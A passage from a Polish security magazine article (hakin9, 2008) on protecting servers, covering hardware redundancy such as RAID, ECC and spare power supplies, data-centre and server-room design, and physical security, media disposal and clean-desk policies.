wane do pracy, wykonane z tward-
szych materiałów, a odpowiednio
dobrane układy scalone zapewnia-
ją niezawodną pracę przez dłuższy
okres czasu. Mimo to, kupując taki
serwer, musimy liczyć się z ewentu-
alnym zagrożeniem, jakim jest awa-
ria. Gdyby jednak nastąpiła, dobrze
by było przewidzieć taką sytuację
i ograniczyć czas przestoju serwera
do niezbędnego minimum. Jednym
ze sposobów zabezpieczeń jest po-
siadanie przy sobie kompletu strate-
gicznych części, bez których serwer
nie może zostać uruchomiony, jed-
nakże podzespoły są drogie i nikt
nie stosuje takiej praktyki. Z dru-
giej strony, wiemy, że z dostępno-
ścią części zapasowych u produ-
centa bywa różnie – awaria może
trwać do kilku dni. Czy możemy so-
bie na to pozwolić? Byłoby to roz-
wiązanie bardzo niebezpieczne dla
firmy. Aby obronić się przed taka sy-
tuacją, podpisujemy umowę doty-
czącą usług serwisowych. Gdy ku-
pimy nowy sprzęt, usługa ta jest ob-
jęta gwarancją producenta. Wyku-
pienie serwera w Data Center za-
pewnia nam kilka źródeł dostępu
do Internetu, jednak naprawy musi-
my wykonać sami, na własny koszt.
Dopiero dzierżawa serwera zapew-
nia odpowiedni standard wymiany
uszkodzonych podzespołów. Minu-

sem posiadania takiej dzierżawy
są ograniczenia w fizycznym dostę-
pie do serwera, często zdarza się,
że jest on ograniczony do kilku go-
dzin dziennie.

W profesjonalnych serwerach

dąży się do jak największej integra-
cji kilku niezbędnych podzespołów
z płytą główną. Za umieszczeniem
karty graficznej, sieciowej i kontro-
lera SCSI bezpośrednio na płycie
przemawiają dwa argumenty. Po
pierwsze, są to elementy w zasa-
dzie rzadko podlegające wymianie
podczas eksploatacji, a niezbędne
do funkcjonowania serwera. Po dru-
gie, zwiększa się liczba dostępnych
gniazd na karty rozszerzeń, umożli-
wiając w ten sposób rozbudowę kon-
figuracji serwera o kolejne kompo-
nenty, np. kontroler RAID, modem
lub dodatkową kartę sieciową.

Z kolei najprostszym sposobem

zwielokrotnienia wydajności maszy-
ny jest dołożenie kolejnej jednostki
obliczeniowej – procesora. Czę-
sto płyta główna umożliwia montaż
drugiej i następnych jednostek cen-
tralnych. Jeśli okaże się, że nasz
serwer jest już za słaby, wówczas
wystarczy dołożyć kolejny proce-
sor i problem zostaje (przynajmniej
na jakiś czas) rozwiązany. Jednym
z podstawowych zadań serwera

jest przechowywanie i udostępnia-
nie użytkownikom różnych baz da-
nych i plików. Aby było to możliwe,
każdy serwer musi być wyposażony
w jeden lub kilka dysków twardych.
Kluczową kwestią jest integralność
i bezpieczeństwo przechowywa-
nych danych. W niektórych ser-
werach zasada ta realizowana jest
za pomocą kontrolera RAID (Re-
dundant Array of Independent Di-
sks
) oraz macierzy umożliwiają-
cej wymianę dysków na gorąco
hot swap. Dzięki temu można łą-
czyć dyski twarde w większe ze-
społy (macierze) dla zwiększenia
wydajności lub pojemności systemu
pamięci dyskowej bądź uodpornie-
nia go na ewentualne awarie jedne-
go, czy nawet kilku dysków. Stosu-
jąc niektóre warianty RAID, można
spełnić oba te założenia.

Mogłoby się wydawać, że w więk-

szości serwerów montowane są
dyski SCSI. Tymczasem w przy-
padku tanich serwerów przezna-
czonych dla małych firm najczę-
ściej instalowane są dyski Se-
rial ATA. Ma to swoje uzasadnie-
nie przede wszystkim w cenie te-
go typu maszyn. Dyski Serial ATA
wciąż są dużo tańsze niż konkuren-
cja z interfejsem SCSI. Niestety,
w serwerach, w których kluczową

Rysunek 1.

Płyta główna

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

52

rolę odgrywa podsystem dyskowy,
nadal królują kontrolery SCSI –
i to z szybkim interfejsem Ultra 320
SCSI
, charakteryzującym się moż-
liwością przesyłania danych z pręd-
kością dochodzącą do 320 MB/s.
Kolejną zaletą interfejsu SCSI jest
możliwość obsługi aż 32 urządzeń
(np. dysków twardych).

Wnętrze serwera

Rozmieszczenie urządzeń – funk-
cjonalna, przestronna i bezpieczna
obudowa serwera to rzecz bardzo
istotna. Musi zapewniać doskonałe
warunki pracy podzespołom, a w ra-
zie ich awarii pozwalać na jak naj-
szybszą naprawę. Wszystkie układy
obliczeniowe powinny posiadać ra-
diatory. Na pamięć RAM jest prze-
ważnie umieszczanych 6-8 slotów,
pakowanych po 2GB i pracujących
w technologii DDR-2. Kontroler pa-
mięci posiada układy odpowiada-
jące za jej skanowanie w celu wy-
krywania błędów. Na płycie głównej
powinna znajdować się także karta
graficzna. Takie kontrolery jak IDE,
SCSI, SATA, wbudowane są stan-
dardowo, pozwalając podłączyć
urządzenia pracujące z większa
szybkością, niż dostępna w kompu-
terach domowych. Wbudowany jest
również układ RAID.

Procesory i pamięć nie powin-

ny być zasłonięte przez inne pod-
zespoły, np. przez zasilacz. Przydat-
nym dodatkiem są specjalne zatrza-
ski mocujące karty rozszerzeń. Ge-
neralnie, im mniej śrubek potrzeba
do zmontowania serwera, tym jego
późniejsze utrzymanie czy rozbudo-
wa będą łatwiejsze. Do zalet niewąt-
pliwie należy bardzo łatwy dostęp
do dysków i nadmiarowe, łatwo wy-
mienialne zasilacze. Także chłodze-
nie powinno być oparte o wentylato-
ry umocowane np. w styropianowym
bloku (choć pewną wadą może być
łatwy dostęp kurzu do wnętrza obu-
dowy). Jak widać, do zaprojektowa-
nia dobrej obudowy serwera należy
przemyśleć każdy szczegół.

Płyta główna – większość pro-

ducentów decyduje się na pełną in-
tegrację z płytą główną serwera naj-
większej liczby podzespołów. Przede

wszystkim gwarantuje to całkowi-
tą zgodność użytych komponentów.
Ewentualne problemy ze zgodno-
ścią mogłyby spowodować niestabil-
ną pracę serwera. Po drugie, pozwa-
la to zaoszczędzić miejsce w obudo-
wie i poprawia cyrkulację powietrza.
Po trzecie, integracja oznacza niż-
sze koszty zakupu serwera. Najczę-
ściej z płytą główną zintegrowana zo-
staje karta graficzna. Prawie zawsze
wykorzystywane są dość proste ukła-
dy wyprodukowane przez ATI lub S3,
wykorzystujące 32 MB pamięci RAM,
która nie jest współdzielona z serwe-
rem. W niektórych serwerach dodano
złącze AGP, pozwalające zainstalo-
wać inną kartę graficzną. Wbudowa-
ne kontrolery SCSI (Ultra 320 SCSI)
służą przede wszystkim do podłącze-
nia twardych dysków – jeśli w serwe-
rze nie został zainstalowany dodatko-
wy kontroler, z lepszymi parametrami.
Prawie każda płyta główna serwe-
ra jest również wyposażona w zinte-
growaną kartę sieciową 10/100Mb/s,
a nawet 1Gb/s. W nowych, serwero-
wych płytach głównych instalowane
są też złącza PCI Express o przepu-
stowości do 16GB/s, przeznaczone
dla kontrolerów SCSI następnej ge-
neracji i kart sieciowych 10Gb/s.

• chipset powinien być kompatybil-

ny ze standardem SMBus, który
definiuje zasady zdalnego zarzą-
dzania serwerem,

• w pamięci informacja elektro-

niczna przechowywana jest
w postaci ciągu zer i jedynek.
Gdy dane są przesyłane po-
między różnymi podzespołami
(np. pamięcią i procesorem), za-
wsze istnieje niewielkie praw-
dopodobieństwo, że dojdzie do
przekłamania. Przykładowo, na
skutek zakłóceń elektrostatycz-

nych, zero zostanie odczytane
jako jedynka. W zwykłym pece-
cie spowoduje to mniej lub bar-
dziej poważne zakłócenia w pra-
cy (łącznie z zawieszeniem się).
W przypadku serwera jest to
niedopuszczalne. Aby uniknąć
takich problemów, do przesy-
łanych danych dodaje się spe-
cjalne wartości kontrolne, które
razem z danymi tworzą ustalo-
ne wzorce. Jeśli system ECC
wykryje, że przesyłane dane
są niezgodne z listą ustalonych
wzorców, to znaczy, że wystąpił
błąd. Próba jego naprawy pole-
ga na porównaniu, który z pra-
widłowych wzorców jest najbar-
dziej podobny do niewłaściwego
ciągu danych. Gdy taki wzorzec
zostanie znaleziony, zastępuje
błędne dane.

Nośniki danych – serwery to kró-
lestwo dysków SCSI; praktycznie
nie spotyka się dysków z interfej-
sem IDE. Wynika to, tak jak w przy-
padku wszystkich pozostałych róż-
nic konstrukcyjnych w porównaniu
do domowych pecetów, ze specy-
ficznych wymagań stawianych ser-
werom. Dyski muszą być bardzo
szybkie i niezawodne. Aby to uzy-
skać, najczęściej stosuje się macie-
rze dyskowe typu RAID, które w za-
leżności od konfiguracji podnoszą
wydajność podzespołu dyskowego,
zwiększają jego bezpieczeństwo,
albo jedno i drugie. Ceną, jaką trze-
ba zapłacić, jest zmniejszenie prze-
strzeni dyskowej. Nawet jednak za-
stosowanie kontrolera RAID nie za-
bezpiecza przed takimi wypadkami
losowymi jak pożar. Dlatego trzeba
zadbać o dodatkowe mechanizmy
zabezpieczenia danych. Najbar-
dziej naturalnym narzędziem jest

HotPlug PCI

Jest to technologia opracowana przez firmę Compaq – standardowy mechanizm po-
zwalający wymienić uszkodzoną kartę PCI bez wyłączania zasilania. Plusem takiego
rozwiązania jest przejmowanie funkcjonalności jednej karty sieciowej przez drugą, nie-
zauważalnie dla użytkowników (w urządzeniach Intela funkcja ta nazywa się AFT). W
tym czasie administrator może wymienić uszkodzoną kartę na sprawną, nie wyłącza-
jąc serwera ani na sekundę.

background image

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

53

w tym wypadku streamer – napęd
odczytujący i zapisujący nośniki ta-
śmowe. Mają one pojemność od kil-
ku do kilkuset GB i pozwalają bar-
dzo szybko wykonać kopię zapaso-
wą. Niestety, streamery w segmen-
cie tanich serwerów nie są popu-
larne ze względu na cenę, oscylu-
jącą w granicach kilku tysięcy zło-
tych. Kontroler RAID ma wbudo-
waną pamięć cache, która powinna
być podtrzymywana przez baterie
– w przypadku awarii zasilania nie
trzeba się obawiać utraty danych
będących akurat w pamięci cache.
Dodatkowym atutem jest technika
OBDR, dzięki której w razie awarii
systemu można uruchomić go z ka-
sety, zawierającej jednocześnie ko-
pię zapasową.

Kieszenie na dyski typu Hot

Swap – równie istotne są możliwo-
ści rozbudowy serwera. Wprawdzie
w chwili zakupu jego konfiguracja
może być wystarczająca, ale już nie-
bawem pojawi się potrzeba doda-
nia pamięci czy kolejnych dysków.
Szczególnie istotna jest liczba kie-
szeni na twarde dyski. Najlepiej, że-
by kieszenie były typu Hot Swap i do-
stępne z zewnątrz – co oznacza, że
dyski można dodawać i usuwać pod-
czas pracy systemu. Pięć dostęp-
nych z zewnątrz kieszeni na dyski to
rozwiązanie bardzo dobre, trzy kie-
szenie – rozsądne.

Zasilanie – podłączenie serwera

do kontaktu, nawet przez listwę zasi-
lającą kupioną za 30 złotych w skle-
pie komputerowym to pomyłka. Ser-
wer ma działać nieprzerwanie, a za-
tem nie może restartować się, ile-
kroć spadnie napięcie. Podłączenie
do UPSa za 200 złotych również od-
pada, bo nawet bez monitora serwer
z szybkim procesorem i 2 twardymi
dyskami zużyje cały prąd w ciągu
20 minut). Przydałby się zatem po-
rządny UPS, a nawet – jeśli przerwy
w dostawie prądu są częstsze – ge-
nerator prądu. Poza tym nie można
go ustawić w biurze, a zatem jest po-
trzebne odpowiednie pomieszczenie,
aby go tam trzymać. Jedną z częst-
szych przyczyn awarii jest uszko-
dzenie zasilacza komputera. Dlate-
go wielu producentów decyduje się

na wykorzystanie nadmiarowych za-
silaczy; w przypadku awarii jednego
drugi natychmiast (w przeciągu kilku
milisekund) przejmuje zasilanie ser-
wera. Ważne jest również, aby moc
zasilacza nie była niższa niż 350 W,
a optimum to 400 W.

Zasilacze zapewniają również

nadmiarowość mocy, niezbędną nie
tylko ze względu na możliwość spad-
ku mocy, lecz i z tego powodu, że
serwery stosowane w biznesie po-
bierają więcej energii.

Bezpieczeństwo serwerów wspo-

maga również specjalny układ BMC
(Baseboard Management Control-
ler
), odpowiadający za monitoro-
wanie stanu pracy poszczególnych
komponentów wchodzących w skład
serwera. BMC zbiera informacje po-
chodzące z czujników rozmiesz-
czonych w różnych częściach płyty
głównej i obudowy (np. o temperatu-
rze procesorów, prędkości obrotowej
wentylatorów, napięciach zasilania).
Dzięki oprogramowaniu współpra-
cującemu z BMC administrator mo-
że być automatycznie powiadomiony
o zdarzeniach.

Powietrze wewnątrz obudowy

– bezawaryjność serwera w dużej
mierze zależy od odpowiedniej cyr-
kulacji powietrza wewnątrz obudo-
wy. W związku z tym obudowy ser-
werowe są standardowo wyposaża-
ne w dodatkowe wentylatory, które
zasysają chłodne powietrze, a wy-
dmuchują nagrzane. Bardzo istotne
jest odpowiednie poprowadzenie ka-
bli, często mocowanych w specjal-
nych osłonkach zmniejszających
ich obwód. Wyposażenie obudowy
w dwa wentylatory, w połączeniu
z uporządkowanym i przestronnym
wnętrzem, powinno już zagwaran-
tować dobrą cyrkulację powietrza.
Niektórzy z producentów stosują
specjalnie wyprofilowany plastikowy
tunel dodatkowo ułatwiając odpro-
wadzanie ciepła. Same wentylato-
ry powinny mieć charakter hot plug,
aby można je było odłączyć lub pod-
łączyć za pomocą jednego zatrza-
sku, podczas pracy serwera. Rozbu-
dowany serwer w swej architekturze
wydziela znacznie więcej ciepła niż
zwykły komputer. Dlatego klimaty-

zacja pomieszczenia też jest ważna.
W centrach serwerowych ma ona
takie samo znaczenie, jak odprowa-
dzanie ciepła z radiatorów.

Pomieszczenie – dostosowanie

pomieszczenia do pracy serwera
jest kluczową sprawą, której głów-
nymi aspektami są: podłoga i ściany
pokryte elementami antypyłowymi,
z których wyczyszczenie kurzu jest
bardzo łatwe; ognioodporne elemen-
ty służące do budowy ścian i podło-
gi; zdublowane korytarze na kable
zasilające – oddzielone od kabli sie-
ciowych – umieszczone pod podło-
gą. W pomieszczeniu montujemy kli-
matyzację, która zapewni tempera-
turę na poziomie 20°C +/- 1°C oraz
wilgotność powietrza 45-50 proc, co
obniży ryzyko awarii i przedłuży ży-
wotność sprzętu. Przy klimatyzacji
należy także pamiętać o kanałach
wentylacyjnych, ponieważ tempera-
tura w środku serwera jest kilkakrot-
nie wyższa niż na zewnątrz szafy.
Tam, gdzie zaczyna się wykorzysty-
wać chłodzenie wodne, uwidaczniają
się jego zalety polegające na ogra-
niczeniu hałasu. Te wszystkie syste-
my są ze sobą sprzężone, podłączo-
ne do programu nadzorcy, poprzez
który wykonywana jest analiza po-
miaru emisji ciepła, wykorzystywana
do sterowania poborem mocy przez
pojedynczy serwer lub grupę kompu-
terów. Określenie rozkładu tempera-
tur wraz z punktami krytycznymi po-
zwala ocenić, gdzie nastąpiła awaria
systemu chłodzenia, klimatyzacji lub
urządzeń.

Centra serwerowe

Data Center to w pierwszej kolejno-
ści budynek – jego projekt i wykona-
nie uwzględniające wszystkie czyn-
niki decydujące o jakości pomiesz-
czeń do przechowywania sprzętu,
oraz infrastruktura – elektronika, de-
terminująca w dużej mierze stopień
niezawodności zabezpieczeń. Kon-
strukcja bezpiecznego budynku po-
winna zapewniać ergonomiczne roz-
mieszczenie szaf i stojaków, oddzie-
lenie sali z serwerami od pomiesz-
czeń dla operatorów, podłogi mu-
szą umożliwiać prowadzenie kabli
w kanałach. Zabezpieczenia przed

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

54

niepowołanymi użytkownikami to
system kontroli dostępu i ochrona
obiektu – karty elektroniczne, sys-
temy alarmowe, strażnicy, telewizja
przemysłowa.

Zabezpieczenie przed czynni-

kami środowiska (katastrofami) to
w przypadku Polski przede wszyst-
kim ochrona przed pożarem – drzwi
wytrzymujące napór ognia oraz sys-
temy wykrywania i automatycznego
gaszenia pożarów. W ramach za-
pewnienia bezpieczeństwa zadbać
należy także o zasilanie – UPS-y,
agregaty prądotwórcze i własną sta-
cję transformatorową. Istotna jest
również szybka i niezawodna (naj-
lepiej redundantna) komunikacja ze
światem zewnętrznym.

Bezpieczeństwo

fizyczne i środowiskowe

Powszechne jest przeświadczenie,
że firewall chroni przed wszystkimi
zagrożeniami, jakie mogą czyhać na
informacje posiadane przez firmę.
Wydawane są ogromne pieniądze na
kolejne systemy wykrywania włamań
w sieciach, ściany ogniowe, oprogra-
mowanie antywirusowe, wirtualne
sieci prywatne. Zabezpieczenia te są
niewątpliwie potrzebne, ale dotyczą
warstwy sieciowej. Zapominamy na-
tomiast o bezpieczeństwie fizycznym
i środowiskowym. Poufne dane moż-
na zdobyć nie poprzez podsłuchanie
ich w czasie transmisji, ale włamując
się do biura i kradnąc stojący w kory-
tarzu serwer plików.

Idąc dalej tą ścieżką – doskonale

skonfigurowany firewall chroniący łą-
cze internetowe nie ochroni sieci fir-
my, jeśli któryś z pracowników zain-
staluje w swoim komputerze modem,
a włamywacz wykorzysta go do wej-
ścia do systemu. Tajne informacje
o nowym produkcie nie muszą zo-
stać zdobyte dzięki włamaniu na
serwer, jeśli konkurencja znajdzie
wydruki ze szczegółowymi opisami
i raportami na śmietniku. Szczegó-
ły umowy nie zostaną zdobyte przez
złamanie sieci WiFi, ale dzięki pod-
słuchaniu rozmowy prowadzonej
przez prezesów w kawiarni.

Zagadnienie bezpieczeństwa fi-

zycznego w politykach bezpieczeń-

stwa wielu firm traktowane jest po-
wierzchownie. Może okazać się to
niewybaczalnym błędem popełnio-
nym przez autora tejże polityki.

Ochrona fizyczna urządzeń słu-

żących do przetwarzania informacji
powinna rozpocząć się od wydziele-
nia obszarów bezpiecznych. Należy
stworzyć bariery fizyczne otaczające
pomieszczenia firmy. Kolejne barie-
ry tworzą następne obwody zabez-
pieczające, mogą to być: ogrodze-
nie dookoła budynku, ściana, drzwi,
zamki w drzwiach, brama wejścio-
wa otwierana za pomocą karty, re-
cepcja obsługiwana przez człowie-
ka, oświetlenie chronionego obsza-
ru, wspomniane już kamery telewizji
przemysłowej (CCTV), systemy alar-
mowe, pracownicy ochrony.

Obwód zabezpieczający musi

być solidny i nie powinno być w nim
przerw ani obszarów, które mogłyby
ułatwić włamanie. Obszarem bez-
piecznym może być zamykane biuro
lub kilka pomieszczeń znajdujących
się wewnątrz fizycznego obwodu za-
bezpieczającego.

Niedopuszczalna jest sytuacja,

w której obce osoby chodzą po biu-
rze i mogą mieć dostęp do urzą-
dzeń przetwarzających dane. Go-
ście wchodzący do bezpiecznych
obszarów powinni być nadzorowa-
ni, a data i czas ich wejścia oraz wyj-
ścia – rejestrowane. W większych fir-
mach wskazane jest noszenie przez
pracowników identyfikatorów pod-
czas przebywania w obszarach bez-
piecznych. Wszystkie osoby, które
nie są w towarzystwie innego pra-
cownika i nie posiadają identyfikato-
ra, powinny zostać zapytane o tożsa-
mość oraz cel pobytu.

Zastosowanie zamków biome-

trycznych lub kart magnetycznych
dodatkowo poprawia bezpieczeń-
stwo zamykanych pomieszczeń.
Warto zapisywać informacje o uda-
nych i nieudanych przypadkach uzy-
skania dostępu w celach audytu. Po-
lityka bezpieczeństwa musi wyma-
gać aktualizowania praw dostępu do
obszarów bezpiecznych oraz okre-
ślać, kiedy prawa te powinny być co-
fane (na przykład na czas, kiedy pra-
cownik wyjeżdża na urlop).

Fizyczna ochrona sprzętu po-

winna przeciwdziałać nie tylko za-
grożeniu nieupoważnionego dostę-
pu do informacji, ale również nie-
bezpiecznym czynnikom środowi-
skowym, które mogłyby wpłynąć
na działanie urządzeń. Podstawo-
we kategorie zagrożeń, na które
sprzęt może być narażony to próby
nieupoważnionego dostępu, zagro-
żenia środowiskowe – pożar, po-
wódź, trzęsienie ziemi, pył, dym,
w środowiskach przemysłowych pył,
kurz, drgania, oddziaływania che-
miczne, awarie zasilania, klimatyza-
cji, przerwa w dostawie wody, inter-
ferencje ze źródeł zasilania, promie-
niowanie elektromagnetyczne.

Monitorowanie warunków środo-

wiskowych pomoże wykryć czynniki,
które mogłyby wpłynąć niekorzystnie
na pracę urządzeń przetwarzających
informacje lub spowodować ich awa-
rię. Pomocna może być też symulacja
różnego rodzaju katastrof (oczywiście
nie proponuje się detonowania bomby
w korytarzu lub zalania serwerowni, ale
raczej analizę teoretyczną, popartą do-
świadczeniami innych firm). Urządzenia
przetwarzające dane powinny zostać
umieszczone w taki sposób, by zmini-
malizować możliwość niepożądanego
dostępu do obszarów roboczych oraz
ograniczyć do minimum brak nadzo-
ru podczas ich używania. Najważniej-
sze urządzenia powinny zostać roz-
mieszczone w obszarach bezpiecznych
tak, aby wykluczyć publiczny dostęp do
nich. Należy pamiętać również o dru-
karkach sieciowych, kserokopiarkach
czy urządzeniach faksowych.

Dla zachowania ciągłości pracy fir-

my szczególnie istotne jest zapewnie-
nie ciągłości zasilania w energię elek-
tryczną. W zależności od szacowane-
go ryzyka i poziomu ciągłości działa-
nia, który należy zapewnić, możemy
stosować następujące rozwiązania
zasilacze awaryjne (UPS), generator
awaryjny – jeśli przerwy w dostawie
energii elektrycznej mogą być dłuż-
sze – a także zwielokrotnione linie za-
silające. Zasilanie awaryjne powinno
pozwolić na kontynuację pracy przez
urządzenia służące przetwarzaniu in-
formacji, ale również zapewnić działa-
nie oświetlenia i łączności.

background image

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

55

Zabezpieczając linie komunikacyj-

ne należy pamiętać nie tylko o war-
stwie sieciowej, ale również o ich bez-
pieczeństwie fizycznym. Okablowanie
telekomunikacyjne powinno być chro-
nione przed podsłuchem lub uszkodze-
niem. Jeśli tylko jest to możliwe, to na-
leży unikać wyznaczania tras kabli bie-
gnących przez obszary publiczne. Je-
śli nie ma takiej możliwości, okablowa-
nie powinno zostać poprowadzone pod
ziemią. Wszystkie punkty rozdzielcze
sieci powinny znajdować się w zamy-
kanych skrzynkach lub szafach telein-
formatycznych umieszczonych w za-
mykanych pomieszczeniach.

Zastosowanie okablowania świa-

tłowodowego w miejsce miedziane-
go również poprawia bezpieczeństwo
instalacji, ponieważ uniemożliwia nie-
wykrywalne naruszenie ciągłości
traktu. Oprócz tego połączenie świa-
tłowodowe jest odporne na interferen-
cje sygnału czy uderzenie pioruna.

Informacje dotyczące bezpie-

czeństwa urządzeń przenośnych po-
zwalających na pracę poza siedzibą
firmy oraz pracy zdalnej znajdują się
w dalszej części tekstu.

Co jakiś czas informowani jeste-

śmy przez media o kradzieży danych
osobowych, znalezieniu poufnych in-
formacji na podwórkowych śmietni-
kach, w kubłach na śmieci lub nawet
na polu. Co gorsza, lekkomyślne po-
dejście do bezpieczeństwa dotyczy
nie tylko dokumentów papierowych,
ale również nośników komputero-
wych, które mogą pomieścić jeszcze
więcej poufnych informacji.

Firmy nie dbają o własne bezpie-

czeństwo. Przyczyną jest nie tylko
brak odpowiedniej wiedzy i świadomo-
ści potrzeby zabezpieczenia wszel-
kich nośników danych, ale również
zaniechanie i niedbalstwo. Naukowcy
z wydziału socjologii Uniwersyte-
tu Wrocławskiego, na zlecenie firmy
Fellowes Polska, przygotowali raport
na temat sposobów obchodzenia się
z dokumentami zawierającymi istotne
dane osobowe i firmowe.

Przebadano 146 firm, z których

95% odpowiedziało, że: Większość
z nas niszczy, archiwizuje lub wysyła
do centrali poufne dokumenty zawie-
rające istotne dane
. Następnie spraw-

dzono zawartość kilkuset worków na
śmieci. Wnioski są co najmniej nie-
pokojące: mimo powszechnej świa-
domości potrzeby stosowania jakich-
kolwiek procedur chronienia danych
i niszczenia zbędnych dokumentów,
w 38% przejrzanych worków znale-
ziono dokumenty, które zawierały da-
ne personalne, faktury VAT, rachunki,
oferty przetargowe, umowy.

Ankietowani pracownicy firm za-

deklarowali, że ponad 80% zbędnej
dokumentacji zostaje zabezpieczone
(nie upublicznione) – jest niszczone,
archiwizowane, składowane. Mimo to
44% przeszukanych worków zawiera-
ło dokumenty, które w 52% przypad-
ków zawierały możliwe do odczytania
dane i poufne informacje. Badania zo-
stały przeprowadzone na stacji prze-
ładunku śmieci, gdzie odpady są już
w pewnym stopniu przetworzone. Do-
tarcie do śmieci znajdujących się jesz-
cze w śmietniku, tuż przy biurze firmy,
może istotnie zwiększyć prawdopodo-
bieństwo odczytania poufnych informa-
cji. Należy pamiętać, że najczęściej
funkcje systemowe usuwające dane
z nośników nie gwarantują 100% pew-
ności, że danych tych nie da się po-
nownie odczytać. Dane mogą zostać
ujawnione przez nieostrożną sprze-
daż sprzętu lub przekazanie do po-
nownego użycia. Warto rozważyć fi-
zyczne niszczenie wszystkich niepo-
trzebnych już urządzeń przechowują-
cych ważne informacje lub stosowa-
nie programów pozwalających na bez-
pieczne nadpisanie danych (dostęp-
ne są wersje dla wszystkich popular-
nych systemów operacyjnych). Jeśli
nośniki służą do przechowywania da-
nych osobowych, to wymóg usunięcia
z nich danych w sposób uniemożliwia-
jący ich odzyskanie nakłada Rozporzą-
dzenie Ministra Spraw Wewnętrznych i
Administracji z dnia 29 kwietnia 2004 r.
w sprawie dokumentacji przetwarza-
nia danych osobowych oraz warunków
technicznych i organizacyjnych, jakim
powinny odpowiadać urządzenia i sys-
temy informatyczne służące do prze-
twarzania danych osobowych (Dz. U.
2004, nr 100, poz. 1024).

Wskazane jest opracowanie pro-

cedur zarządzania wyjmowalnymi
nośnikami danych. Norma PN-ISO/

IEC 17799 zaleca rozważenie nastę-
pujących wytycznych:

• zaleca się wymazanie poprzed-

niej zawartości wszelkich nośni-
ków wielokrotnego użytku, które
mają być wyniesione z instytucji,
o ile nie będzie już potrzebna,

• zaleca się, aby w przypadku wyno-

szenia jakichkolwiek nośników z in-
stytucji potrzebne było upoważnie-
nie, a w celu przeprowadzenia póź-
niejszego audytu zaleca się prowa-
dzenie odpowiedniej ewidencji,

• zaleca się przechowywanie wszyst-

kich nośników w bezpiecznym miej-
scu, zgodnie z zaleceniami ich pro-
ducentów.

Poufne informacje mogą zostać ujaw-
nione, zmodyfikowane lub uszkodzone
również w trakcie ich fizycznego trans-
portu. Problem, wbrew pozorom, nie
jest wydumany i może przytrafić się
nawet największym. W maju 2005 ro-
ku Citigroup, największy bank na świe-
cie, stracił dane i historię transakcji 3,9
miliona swoich klientów podczas trans-
portu taśm streamera przez firmę ku-
rierską. Pamiętając o ochronie zawar-
tości przesyłek przed uszkodzeniami
fizycznymi, przy okazji warto wykorzy-
stać opakowania odporne na manipula-
cje. Krytyczne dane mogą być dzielone
na kilka elementów i przesyłane przy
pomocy różnych firm, różnymi trasami
i środkami transportu. Wymagania te
należy dostosować do ważności i pouf-
ności transportowanych informacji.

Szczególną uwagę należy zwrócić

na nośniki, z których dane należy usu-
wać w sposób bezpieczny, czyli doku-
menty papierowe, nagrania głosowe,
wydrukowane raporty, jednorazowe
taśmy barwiące do drukarek, taśmy
magnetyczne, nośniki optyczne (pły-
ty CD i DVD), dyskietki, wydruki pro-
gramów, dane z testów, dokumenta-
cję systemową. Niszczenie dokumen-
tów, nośników danych i sprzętu moż-
na zlecić zewnętrznym firmom posia-
dającym profesjonalne urządzenia po-
zwalające przeprowadzić niszczenie
w sposób bezpieczny.

Ochrona dokumentów papiero-

wych i komputerowych nośników nie
rozwiązuje w 100% problemu – po-

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

56

zostają jeszcze inne formy wymia-
ny informacji, jak komunikacja gło-
sowa, wizyjna lub faksowa. Rozmo-
wa prowadzona w miejscu publicz-
nym może zostać podsłuchana,
wiadomości pozostawione na auto-
matycznej sekretarce – odsłucha-
ne przez niepowołane osoby, faks
– przesłany przez pomyłkę do nie-
właściwej osoby lub odebrany przez
osobę nie posiadającą odpowied-
niego upoważnienia.

Polityka czystego biurka poma-

ga zapobiegać ujawnieniu lub kra-
dzieży informacji. Zdrowy rozsądek
nakazuje nie zostawiać na wierz-
chu żadnych dokumentów, kiedy na
pewien okres czasu tracimy kontro-
lę nad nimi (nawet jeśli tylko prze-
chodzimy do innego pokoju). Nie-
potrzebne w danym momencie do-
kumenty papierowe i nośniki da-
nych (płyty CD, DVD, pendrive'y,
taśmy) należy bezwzględnie cho-
wać w zamykanych szafach. Pod
żadnym pozorem dokumenty i no-
śniki danych nie powinny pozostać
niezabezpieczone po zakończeniu
pracy – w razie włamania, pożaru
lub powodzi mogłyby dostać się w
niepowołane ręce lub zostać znisz-
czone.

Punktami, które należy szcze-

gólnie kontrolować, są drukarki sie-
ciowe i kserokopiarki umieszczone
bardzo często w korytarzach. Pra-
cownicy powinni odbierać doku-
menty natychmiast po wykonaniu
przez urządzenie zleconego zada-
nia. Nie powinny pozostawać do-
stępne ani dla obcych osób, ani dla
pracowników nie posiadających sto-
sownych uprawnień.

Zasada czystego ekranu jest

analogiczna i odnosi się do serwe-
rów, stacji roboczych oraz urządzeń
przenośnych – laptopów oraz palm-
topów. Każdorazowe odejście od
stanowiska pracy powinno zostać
poprzedzone zablokowaniem kla-
wiatury i włączeniem wygaszacza
ekranu zabezpieczonego hasłem.
Oczywiście nie musi to wymagać
wykonania akcji ze strony użytkow-
nika – może odbywać się automa-
tycznie, pod warunkiem, że czas ak-
tywacji zabezpieczenia jest wystar-

czająco krótki (należy dopasować
go do klasyfikacji przetwarzanych
danych i ryzyka ich utraty).

Ogólne zasady związane z tą

kwestią przedstawiono poniżej:

• nawet, jeśli opuszcza się pokój

tylko na chwilę, należy go za-
mknąć na klucz lub schować do
zamykanej szafy wszelkie ważne
dokumenty i nośniki danych (pły-
ty CD, DVD, pendrive'y, taśmy),

• po zakończeniu pracy dokumen-

ty i komputerowe nośniki danych
powinny być przechowywane
w zamykanych, zabezpieczonych
i ognioodpornych szafach,

• na zakończenie pracy należy za-

mknąć aktywne sesje oraz wy-
rejestrować się (wylogować się)
z serwerów, lub też stosować
oprogramowanie blokujące kla-
wiaturę i wygaszacz ekranu za-
bezpieczony hasłem.

Do faksów, kserokopiarek i druka-
rek nie powinny mieć dostępu oso-
by postronne. Jeśli jest to możliwe,
urządzenia te powinny być zabloko-
wane poza normalnymi godzinami
pracy. Niezwłocznie po otrzymaniu,
skopiowaniu lub wydrukowaniu do-
kumentów należy zabrać je z podaj-
nika urządzenia.

Korzystanie z urządzeń przeno-

śnych – laptopów, palmtopów, tele-
fonów komórkowych w miejscach
publicznych i innych, nie chronio-
nych, miejscach poza siedzibą firmy
wymaga ostrożności, by nie ujaw-
nić osobom nieupoważnionym in-
